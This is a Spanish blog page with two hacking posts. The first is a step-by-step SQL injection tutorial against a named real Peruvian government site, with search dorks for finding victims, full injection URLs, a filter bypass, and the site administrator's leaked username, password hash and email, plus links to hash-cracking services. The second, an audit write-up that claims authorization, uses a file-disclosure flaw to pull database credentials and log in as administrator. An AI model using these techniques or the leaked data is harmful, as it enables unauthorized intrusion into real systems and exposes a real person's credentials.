Vistas de página en total

Mostrando entradas con la etiqueta inyeccion. Mostrar todas las entradas
Mostrando entradas con la etiqueta inyeccion. Mostrar todas las entradas

miércoles, 24 de febrero de 2016

(Tutorial) Aprendiendo Inyeccion SQLi Manualmente.


(Tutorial) Aprendiendo Inyeccion SQLi Manualmente. By CyRuX

Muy buenas lectores, en esta ocasión demostrare como realizar una Inyección SQLi manualmente ya que para empezar en este mundo de las inyecciones SQL siempre eh recomendado  leer mucho sobre SQL. ya que así estaremos entendiendo que es lo que estamos realizando, en esta ocacion solo me enfocare en las Inyecciones pero si recomiendo que lean mucho sobre SQL y  también es recomendable  saber un poco de php. como dije anteriormente esto es para que vayamos entendiendo que es lo que se esta realizando. a continuación les dejare unos links que me sirvieron mucho para entender sobre SQL.

Aprendiendo SQL:

[+]Curso Online desde Cero:
http://deletesql.com/viewforum.php?f=5&sid=d1e83162086bba74714bd722cbb0d6a7
Vídeos:
https://www.youtube.com/channel/UCLnBUirMKBZ_4s8tTQyQuvg/videos

[+]Otros vídeos que me sirvieron mucho y muy bien explicados. (Recomendado)

1-video:
https://www.youtube.com/watch?v=wKxYUYb1pQ4
2-video:
https://www.youtube.com/watch?v=Eme7qBzigJQ
3-video:
https://www.youtube.com/watch?v=AA4jk_Oa5yw
4-video:
https://www.youtube.com/watch?v=j25hmvG4zPc


Aprendiendo PHP:
http://www.phpya.com.ar/
Videos:
https://www.youtube.com/watch?v=JNbTvInths0

Como dije anteriormente recomiendo primero aprender lo antes publicado, así que a continuación aprenderemos como realizar una simple inyección SQL de un portal del Gobierno del Perú ya que estos la mayoría tienen esta vulnerabilidad y son constantemente explotado. ya que están mal programados con muchos fallos. así que nuestro primer paso sera buscar por medio de una DORK estos tipos de fallos. para los que se preguntan que son las Dorks aquí os dejo mas info:

¿Que es Inyección SQL?

Según OWASP: Un ataque de inyección SQL consiste en la inserción o "inyección" de una consulta SQL a través de los datos de entrada del cliente a la aplicación. El éxito de vulnerabilidad de inyección SQL puede leer los datos sensibles de la base de datos, modificar los datos de base de datos (Insertar / Actualizar / Borrar), ejecutar operaciones de administración de la base de datos (por ejemplo, apagar el DBMS), recuperar el contenido de un presente determinado archivo en el archivo de DBMS sistema y, en algunos casos para ejecutar comandos del sistema operativo. Ataques de inyección SQL son un tipo de ataque de inyección, en el que comandos SQL se inyectan en la entrada de datos plano con el fin de efectuar la ejecución de comandos SQL predefinidas.

Bueno antes de empezar, algo que tenemos que saber es que:
La información esta en la columna & la columna están en las tablas y las tablas están en la base de datos. Solo recuerda eso y después todo se te hará fácil de entender.

¿Que es una Dork?

Podríamos definir Dorks como búsquedas avanzadas mediante el uso de operadores complejos que google pone a nuestra disposición, mediante el uso de estas facilidades podemos ahorrarnos el trabajo de buscar vulnerabilidades y dejar que google nos muestra las que encontró y tiene indexadas.

Aquí algunas Dorks para que se den una idea ya que mas adelante ustedes mismos podrán armar sus propias Dorks.

inurl:noticias.php?id= 

inurl:inicio.php?id= 
inurl:evento.php?id= 
inurl:producto.php?id= 
inurl:sql.php?id= 
inurl:nuevos.php?id= 
inurl:biblioteca.php?id= 
inurl:humor.php?id= 
inurl:acerca.php?id= 
inurl:galerias.php?ogl_id= 
inurl:index.php?id= 
inurl:comunicacion.php?id= 
inurl:detalles.php?id= 
inurl:categoria.php?id= 
inurl:noticia.php?id= 
inurl:paginas.php?id= 
inurl:faq2.php?id= 
inurl:documentos.php?id= 

Estas las utilizaremos para encontrar paginas vulnerables a este tipo de fallos. así que manos a la obra.

1- El primero paso sera buscar nuestra pagina vulnerable para eso tenemos que ir a san www.google.hn
y es ahí donde vamos armar nuestra DORK. en esta ocacion utilizaremos una con 1 palabra no muy común seria algo así:  Inurl:destacados.php?id= se preguntaran que es y por que ponemos Inurl:

¿Que es Inurl:?

El prefijo inurl: (significa en url) te sirve para indicar que buscas páginas que contengan una palabra concreta en la URL. Fíjate que es algo diferente al ejemplo anterior porque busca la palabra en cuestión en cualquier parte de la URL:

una ves realizado nuestra dork en google nos tendría que quedar así como en la imagen a continuación donde miraran todas las paginas con esa ID.
Como vemos nos tiro un total de 2,350 paginas con esa ID es ahí donde tendremos que ir probando 1 por 1 para dar con la web que tenga la vulnerabilidad de SQL inyección, también les quiero decir que NO todas son vulnerables. Bueno seguimos en mi caso como les dije anteriormente usaremos una pagina del gobierno de peru, para buscar un dominio en especial vamos a agregar a nuestra DORK un simple prefijo que nos ayudara para dar con las paginas con un dominio en especial el que nosotros queramos. en este caso utilizaremos el prefijo "SITE:" quedando así nuestra DORK: "Inurl:destacados.php?id= Site: gob.pe"
Si bien miran nos arroja un portal del Gob. de ese país con el dominio gob.pe  en este caso le damos click al primer enlace. una ves dentro de la pagina nos enfocaremos siempre en la url en este caso seria la siguiente.

http://www.osinfor.gob.pe/portal/destacados.php?id=8  

Es desde aquí que empezaremos a realizar la inyección a este portal, para saber si es vulnerable a la inyección solo tenemos que quitar el numero que sale después "=" en este caso seria el numero 8 y reemplazarlo con una simple comilla donde nos tiene que tirar un error de "Sintaxis" algo parecido a esto:

Es aquí donde ya sabemos que tiene el típico error SQLi y es una Web vulnerable a una inyección.

2-Una ves que ya sabemos que tenemos una web vulnerable lo siguiente sera buscar las columnas que tiene dicho portal y se preguntaran como lo hacemos?

Buscando Columnas:

Añadimos un (+ORDER+BY --) y vamos aumentando los números por ejemplo:
 (+ORDER+BY+1--) y hacemos un alto cuando nos aparezca un error

http://www.osinfor.gob.pe/portal/destacados.php?id=8+ORDER+BY+1-- (Sin error)
http://www.osinfor.gob.pe/portal/destacados.php?id=8+ORDER+BY+2-- (Sin error)
http://www.osinfor.gob.pe/portal/destacados.php?id=8+ORDER+BY+3-- (Sin error)
http://www.osinfor.gob.pe/portal/destacados.php?id=8+ORDER+BY+4-- (Sin error)
http://www.osinfor.gob.pe/portal/destacados.php?id=8+ORDER+BY+5-- (Sin error)
http://www.osinfor.gob.pe/portal/destacados.php?id=8+ORDER+BY+6-- ( Con error)
3- Si bien miran el error lo tiro en el numero por que no hay columna "6" esto quiere decir que este portal solo tiene 5 columnas, luego cuando ya sabemos cuantas columnas tiene dicho portal lo siguiente que haremos sera usar 3 sentencias que son ( UNION+ALL+SELECT )  mas las columnas que tiene el portal y quedaría de la siguiente manera.

http://www.osinfor.gob.pe/portal/destacados.php?id=-8+union+all+select+0--
http://www.osinfor.gob.pe/portal/destacados.php?id=-8+union+all+select+0,1--
http://www.osinfor.gob.pe/portal/destacados.php?id=-8+union+all+select+0,1,2--
http://www.osinfor.gob.pe/portal/destacados.php?id=-8+union+all+select+0,1,2,3--
http://www.osinfor.gob.pe/portal/destacados.php?id=-8+union+all+select+0,1,2,3,4--

Si observan bien eh puesto un guion "-" antes del numero "8"

y hemos llegado hasta la columna 4 ya que es esa columna la que es vulnerable y nos arroja unos números como lo verán en la siguiente captura.
4- Cuando ya sepamos que tenemos columnas inyectables el siguiente paso seria averiguar la versión del MYSQL esto es muy importante saber en que versión estamos trabajando ya que si el portal tiene una versión arriba de 5 quiere decir que podemos trabajar bien pero si nos tira que esta en versiones mas antiguas es ahí que tendríamos que hacer otras inyecciones eh ir averiguando y caneando las tablas que podría tener dicho portal, algo similar como una inyección a ciegas.

Bueno para conseguir la versión del MYSQL tendremos que inyectar el comando "@@version o version()"  a una de las columnas vulnerables que nos arrojo el portal en este caso nos tiro el 1 & 4 en mi caso lo haré en la 1 quedando de la siguiente manera:

http://www.osinfor.gob.pe/portal/destacados.php?id=-8+union+all+select+0,@@version,2,3,4--

y si miramos en la captura nos tiro que esta arriba de la versión 5 esto quiere decir que en este portal no tendremos problemas en andar averiguando las tablas ya que nos la va a tirar fácil.

5- El siguiente paso sera conseguir las tablas lo que mas nos interesa en este caso para esto lo que tenemos que hacer es lo siguiente elegir la misma columna inyectable en este caso yo escogí la columna 1 y le inyectaremos las siguientes sentencias " group_concat(table_name) " y al final de las columnas le inyectaremos las siguientes sentencias " +from+information_schema.tables--+ " quedando así la inyección:

http://www.osinfor.gob.pe/portal/destacados.php?id=-1+union+all+select+0,group_concat(table_name),2,3,4+from+information_schema.tables--+

y el portal nos tendrá que arrojar todas las tablas de la siguiente manera como se nos muestra en la siguiente captura.!

como miran nos arrojo todas las tablas, si le damos para el lado derecho miraremos las demás tablas que nos arrojo, pero en lo personal a mi no me gusta que me tire las tablas en Horizontal se mira feo :s no.? bueno para que podamos ver las tablas vertical que se mira mucho mejor tenemos que inyectar otras sentencias en este caso usaremos " replace( " al principio de la sentencia " group_concat " y inyectaremos un código en Hexadecimal el cual seria este: " 0x2C,0x3C62723E " y si desencryptamos este código Hexadecimal nos va arrojar el siguiente código en html que seria " ,<br> " si sabemos un poco de HTML sabremos que hace dicho código bueno seguimos ese código hexadecimal lo tendremos que poner al final de:" table_name " quedando nuestra inyección de la siguiente manera.

http://www.osinfor.gob.pe/portal/destacados.php?id=-1+union+all+select+0,replace(group_concat(table_name),0x2C,0x3C62723E),2,3,4
+from+information_schema.tables--+

y en el portal  nos tiene que mostrar de la siguiente manera las tablas mucho  mas chulas :) quedando así:
Si  miran en la captura nos tira tablas del MYSQL que vienen por default y son muy molestas las cuales son:

CHARACTER_SETS
CLIENT_STATISTICS
COLLATIONS
COLLATION_CHARACTER_SET_APPLICABILITY
COLUMNS
COLUMN_PRIVILEGES
INDEX_STATISTICS
ENGINES
EVENTS
FILES
GLOBAL_STATUS
GLOBAL_VARIABLES
KEY_COLUMN_USAGE
PARTITIONS
PLUGINS
PROCESSLIST
PROFILING
REFERENTIAL_CONSTRAINTS
ROUTINES
SCHEMATA
SCHEMA_PRIVILEGES
SESSION_STATUS
SESSION_VARIABLES
STATISTICS
TABLES
TABLE_CONSTRAINTS
TABLE_PRIVILEGES
TABLE_STATISTICS
THREAD_STATISTICS
TRIGGERS
USER_PRIVILEGES
USER_STATISTICS
VIEWS

 Así que para desaparecer esas  tablas y dejar solo las  que nos interesa armaremos la inyección de la siguiente manera agregando otras sentencias las cuales son: " +where+table_schema=database() "  que nos ayudaran a desaparecer esas molestas tablas :p quedando de la siguiente manera nuestra inyección.

http://www.osinfor.gob.pe/portal/destacados.php?id=-1+union+all+select+0,replace(group_concat(table_name),0x2C,0x3C62723E),2,3,4
+from+information_schema.tables+where+table_schema=database()--+

[+]
Tendríamos que verla así en el portal de esta manera como se muestra en la captura.

[+]Bingo ya tenemos las tablas que realmente nos interesa donde si observan la captura se nos refleja que si hay tablas muy interesantes como son: "osi_usuario,usuario,usuarioweb" :D

6- Bueno seguiremos sacando datos para llegar a nuestro objetivo que son el pass, y usuario del administrador así que para sacar las columnas de esas tablas lo sacaremos de la siguiente manera, armando nuestra inyección así y eligiendo la tabla (osi_usuario).

http://www.osinfor.gob.pe/portal/destacados.php?id=-1+union+all+select+0,replace(group_concat(column_name),0x2C,0x3C62723E),2,3,4
+from+information_schema.columns+where+table_name=0x6f73695f7573756172696f--+

Si nos enfocamos en lo rojo vamos a mirar que hemos cambiado ( table_name ) por ( column_name ) y hemos agregado al final un código hexadecimal el cual ese dichoso código es  la tabla que elegimos anteriormente la cual seria: ( osi_usuario ) el cual lo hemos encryptado en hexadecimal ya que si lo ponemos normal nos tiraría un error y no las columnas que deseamos de esa tabla. Así que armando la anterior inyección nos tiene que tirar estos datos como se miran en la captura.

[+]Para los que se preguntaran como encryptar las tablas de interés, les deja una pagina web que ofrece esos servicios la cual es: http://encodertool.com/hexadecimal algo que se me paso seria que cuando pongan el código hexadecimal siempre hay que agregarle al principio "0x" quedando de la siguiente manera ( 0x6f73695f7573756172696f ) para que lo reconozca como código hexadecimal si no lo ponen fijo les tira un error de sintaxis.

7- Lo siguiente que haremos sera sacar las columnas de la tabla (osi_usuario) y lo haremos de la siguiente manera. ya reduciendo lo que es la inyección ya que tenemos los datos de la tabla (osi_usuario), y armaremos la inyección como normalmente lo haría cualquier usuario que ah hecho una inyección SQLi quedando la inyección así:

http://www.osinfor.gob.pe/portal/destacados.php?id=-1+UNION+ALL+SELECT+
0,concat(usu_username,0x3a,usu_password,0x3a,usu_email),2,3,4
+from+osi_usuario--+

Si observan bien la inyección se reducio ya que solo dejamos ( concat ) y las columnas de la tabla (OSI_USUARIO) yo elegí las mas importantes en este caso son: ( usu_username,usu_password,usu_email ) y bien miran al lado tienen un codigo en Hexa que son

( 0x3a ) este código es una simple coma "," & unos simples 2 puntos ":" esto nos sirva para cuando nos tire los datos de esas columnas lo haga ordenadamente por ejemplo: USUARIO:PASS  Bueno si ejecutamos la inyección antes mencionada nos tiene que salir ya los datos de esas columnas y tiene que salir algo como esto:
[+]Oops...! Nos salio un error y se preguntaran ahora que carajo hacemos pues bien esta pagina la agarre por eso ya que cuando uno llegaba a este punto de la inyección nos tiraba ese error y eso por que hay un filtro que nos impide inyectar esas sentencias por que si bien se an fijado ya son los datos del administrador y creo que nos pusieron a pensar un poco como byppasear ese filtro, es por eso que este pequeño detalle hace diferente este tutorial ya que por lo general todos los manuales & tutoriales son las típicas inyecciones sin restricciones y es aquí cuando el usuario queda en las nubes así que para byppasear ese filtro lo que haremos sera meterle a la inyección otras sentencias las cuales son: " unhex(hex " con esta sentencia lo que le diremos a la inyección es que nos lea los datos en hexadecimal y así pasar desapercibido el filtro así de sencillo y lo ponemos de la siguiente manera quedando asi:

http://www.osinfor.gob.pe/portal/destacados.php?id=-1+UNION+ALL+SELECT+
0,unhex(hex(group_concat(usu_username,0x3a,usu_password,0x3a,usu_email))),2,3,4+from+osi_usuario--+

[+]Si lo ven lo pusimos al inicio de group_concat abriendo 2 corchetes y haciendo el cierre del mismo. y es ahí donde nos tiene que aparecer ya los datos del administrador en este caso seria el,

USUARIO,PASSWORD,CORREO. quedando así como en la captura:
[+]Listo datos ya en nuestro poder como ven nos arrojo el usuario la pass encryptada en MD5 y el correo ahora como nos arrojo la pass encryptada en MD5 el siguiente paso seria buscar como desencryptar dicha pass y los datos obtenido son los siguientes:

*Usuario: adminosinfor
*Password: b1d3c55bf7f44d4def7afd2686c1a3d8
*Email: hbejarano@osinfor.gob.pe


*Ahora les dejare unas paginas Online donde podrán desencryptar la pass:
*Pero también existen Scripts en PERL,PHYTON  que nos hacen ese trabajo también existen muchos software que lo hacen por diccionario como el HashCat muy bueno lo recomiendo.

http://www.hashchecker.de/

http://md5.rednoize.com/
http://md5.noisette.ch/
https://md5.darkbyte.ru/
http://www.hash-cracker.com/
http://www.unmd5.me/
http://md5decrypter.co.uk/
http://www.stringfunction.com/md5-decrypter.html
http://www.md5decrypt.org/

[+]Luego que tengamos el password ya desencryptada lo que haremos sera buscar el panel de control de dicha pagina web, esto también lo haremos con loa ayuda de unos scripts también algunos programas lo traen como el Havij. pero esto se lo debo para el siguiente tutorial, como buscar un panel de control de X web con diferentes métodos así que esperen el tutorial, también les ensenare como usar los scripts que hacen lo mismo buscan el panel del administrador. Asi que esto ah sido todo espero les haya ayudado en algo y como dije anteriormente este tutorial es algo especial ya que aprendimos byppasear 1 filtro mas adelante también les ensenare bypasear otros que nos molestan cuando estamos realizando nuestras inyecciones.!

miércoles, 17 de febrero de 2016

Web Hacking : Una línea para manejarlos a todos

¿Podría darte una línea de código acceso a un sitio Web completo? ¿Qué información obtendría un atacante si consiguiera llegar al nivel más bajo de tu página Web? es decir, a tu BBDD o SSOO. Dependiendo del objetivo de la misma podría encontrar seguramente información sobre la identidad de los usuarios, transacciones bancarias, compras online, usuarios, contraseñas y mucho más.

¿Cuánto vale tu información? Debemos de establecer unos controles de seguridad mínimos a nuestro sitio Web, llevar a cabo una serie de auditorías de seguridad que garanticen el buen funcionamiento de la misma. No sólo tener en regla la política de cookies y poco más, sino os puede ocurrir como la Web con la que me encontré hace unas semanas a la hora de preparar una charla. Antes de nada os muestro un disclaimer.

Aviso Legal y Descargo de Responsabilidad

    El objetivo de lo mostrado a continuación tiene fines educativos para aprender a mejorar la seguridad de nuestros sitios Web.
    No nos hacemos responsables del mal uso que se le pueda dar a las herramientas mostradas.
    Toda la auditoría Web mostrada a continuación se ha llevado a cabo con permisos de sus administradores según lo acordado en documento legal.

Vamos a llevar a cabo la auditoría de un sitio Web siguiente la metodología OWASP, concretamente seguiremos la OWASP Testing Guide V4. Los diferentes puntos que abarca dicha metodología los podéis ver detalladamente en el enlace anterior. A continuación nombramos los aspectos generales a tratar.

    Information Gathering
    Configuration and Deployment Management Testing
    Identity Management Testing
    Authentication Testing
    Authorization Testing
    Session Management Testing
    Input Validation Testing
    Error Handling
    Cryptography
    Business Logic Testing
    Client Side Testing

Seguiremos algunos de los pasos sobre el sitio Web auditado, sobre todo la primera fase y veremos como la auditoría termina antes de tiempo.

Information Gathering

OTG-INFO-001 Fuga de Información. Hacemos uso de buscadores con Bing, Google, Shodan… en busca de fugas de información utilizando los operadores de estos.

Vamos a ver que información nos da Shodan, para ello simplemente le añadimos la IP del sitio Web obtenida mediante un ping, por ejemplo.
Vemos información de muchos servicios en puertos conocidos que más adelante nos darán juego.

OTG-INFO-002 Fingerprinting del servidor Web. Vamos a intentar averiguar sobre que tipo de servidor está trabajando nuestro sitio Web objetivo, para ello usamos la herramienta whatweb que podemos encontrar en Kali.
Vemos como el tipo de servidor es un nginx, además de bastante información como el tipo de CMS (SPIP), el gestor de sitio que utiliza (Plesk), correo electrónico del administrador…

OTG-INFO-003 Metadatos encontrados en ficheros del servidor. En este punto podemos hacer uso de herramientas como Foca o Metagoofil para obtener metadatos que tengan los documentos publicados en el sitio Web.
Podemos encontrar varios usuarios y algo de información sobre el tipo de software utilizado.

OTG-INFO-004 Enumeración de subdominios y aplicaciones del server. Haremos uso de herramientas que nos den información sobre posibles subdominios, servidores DNS, puertos de Apps conocidas…

Nos vamos a Bing para comprobar si el hosting es dedicado o compartido.
Vemos que tenemos un hosting compartido entre 18 dominios. Vamos ahora a ver los DNS que utilizan y si hay posibilidad de transferencia de zona por algún fallo en la configuración.
En este punto podrían utilizarse más herramientas o servicios, como nmap o dnsmap o el servicio netcracft.

OTG-INFO-005 Comentarios y Metadatos de la Web. Podemos encontrarnos con fugas de información en los comentarios de la Web que utilizan los programadores para depurar el código.
Otro punto a inspeccionar también sería la cabecera META donde encontraremos también información importante : emails, versiones, si la cual quiere que sus enlaces sean o no indexados por las arañas (NOINDEW, NOFOLLOW)…

OTG-INFO-006 y OTG-INFO-007 Identificar puntos de entrada y Mapa del Sitio Web. Pasamos a ver todos los puntos de entrada de la Web (peticiones y respuestas con GET y POST), para lo cual vamos a utilizar un proxy inverso Web (ZAP, Burp o WebScarab) y utilizamos su Spider de tal forma que nos genere un mapa completo de la Web y sus puntos de entrada.
Vemos los diferentes puntos de entrada y sus métodos, con el spider nos hacemos una idea del mapa de navegación Web.

OTG-INFO-008 Fingerprinting Web Application Framework. Se trata de averiguar que tipo de framework se ha utilizado para desarrollar la Web, es decir lenguaje de programación y la tecnología. Concretamente podemos encontrar toda esta información en las cabeceras HTTP, las cookies, código HTML y diferentes ficheros y carpetas. Cunado hicimos uso de whatweb pudimos observar que utilizaba JQuery con otras tecnologías específicas que usa el CMS utilizado.

OTG-INFO-009 Fingerprinting Web Application. Se trata de averiguar si se ha utilizado para desarrollar la Web algún tipo de CMS: WordPress, Joomla u otro tipo de CMS, en este caso en el apartado dos vimos como se trataba del CMS SPIP 3.0.20. Ahora que ya tenemos la versión, sería cuestión de ver vulnerabilidades más adelante.

OTG-INFO-0010 Arquitectura del Servidor. No sabemos hasta el momento el tipo de arquitectura exacta que utiliza el servidor, si hay  algún tipo de firewall en medio de la comunicación. Para ello vamos a llevar a cabo un escaneo tipo ACK y vemos que no hay WAF (puerto 80 unfiltered).
También se podría descubrir si se utiliza algún tipo de proxy inverso inspeccionando la información de la cabecera, etc.

Una línea para manejarlos a todos.

Llegados hasta este punto y antes de seguir con la siguiente fase de la auditoría nos debemos de fijar en la siguiente línea que nos ha dado el Spider.
Vemos una variable de entrada que se llama URL, huele de lejos a dos posibles vulnerabilidades: RFI (Remote File Inclusion) o LFI (Local File Inclusion). Para aquellos que no sepáis en que consisten os las describo en pocas líneas.

    RFI: Permite cargar un fichero de otro dominio en el navegador, por ejemplo una shell en PHP que tuviésemos alojada en otro servidor.
    LFI: Permite cargar ficheros locales del propio servidor en el navegador, como por ejemplo /etc/passwd.

Probando con RFI vemos como nos muestra el código HTML de la dirección dada en el parámetro URL, es decir, el resultado de hacer la petición al servidor.
Probando con LFI vemos como si que nos muestra el código PHP del fichero del servidor que pasamos por el parámetro URL
Si nos fijamos en el nombre del fichero, ver.php, podemos imaginarnos lo que hace. Si ahora le pasamos por parámetro el propio fichero, obtenemos el código fuente del propio fichero. Y ahí tenemos, ¡¡ una línea para manejarlos a todos !!
Si analizamos la línea de código, vemos que utiliza la función show_source() de PHP. Cualquier fichero del servidor que pasemos por el parámetro URL nos muestra su código fuente, por tanto el objetivo es encontrar el fichero con los parámetros de configuración de acceso a la BBDD. Vamos viendo el código fuente de todos los index.php de todos los paths por donde ha pasado el Spider, hasta encontrar un include (‘config.php’) en el path:

sitio/aulavirtual/index.php

El resultado de mostrar el código fuente del fichero config.php es el siguiente:
Ya tenemos las credenciales de acceso a la BBDD de un aula virtual Moodle, pero aún podemos ir más lejos. ¿Y si el SGBD (Sistema Gestor de BBDD) nos estuviera bien configurado y permitiera acceso desde el exterior? Si vemos los servicios que tenía indexados Shodan, teníamos un servicio MySQL y un puerto 3306. Lanzamos un nmap al puerto para descubrir el servicio en concreto:
Vemos que el puerto está abierto desde el exterior y que el servicio en concreto es un MySQL 5.5.44-MariaDB. El siguiente paso es coger algún gestor de BBDD MySQL como PHPMyAdmin y cambiar los parámetros para apuntar a la BBDD de la cual tenemos los credenciales. El resultado es el siguiente:
Buscando por las tablas de la BBDD encontramos la tabla de los usuarios. Estamos accediendo como usuario Administrador, por tanto tenemos permisos para hacer lo que queramos. Fijaros la importancia de una única línea de código el daño que puede hacer.

¿Qué pasaría si pudiéramos inyectar de manera persistente este código en la BBDD? sería muy dificil para un antivirus encontrarlo, lo primero porque no modificamos los ficheros del servidor y lo segundo porque dudo que ningún antivirus detectase esa línea de código como código malicioso.

Al final hemos terminado la auditoría antes de tiempo con una única línea de código que permite dejar todo el sitio al descubierto. Espero que os haya gustado el artículo y ya sabéis, cuidar de la seguridad de vuestro sitio Web llevando a cabo auditorías de seguridad, no sólo con tener actualizado el sitio basta.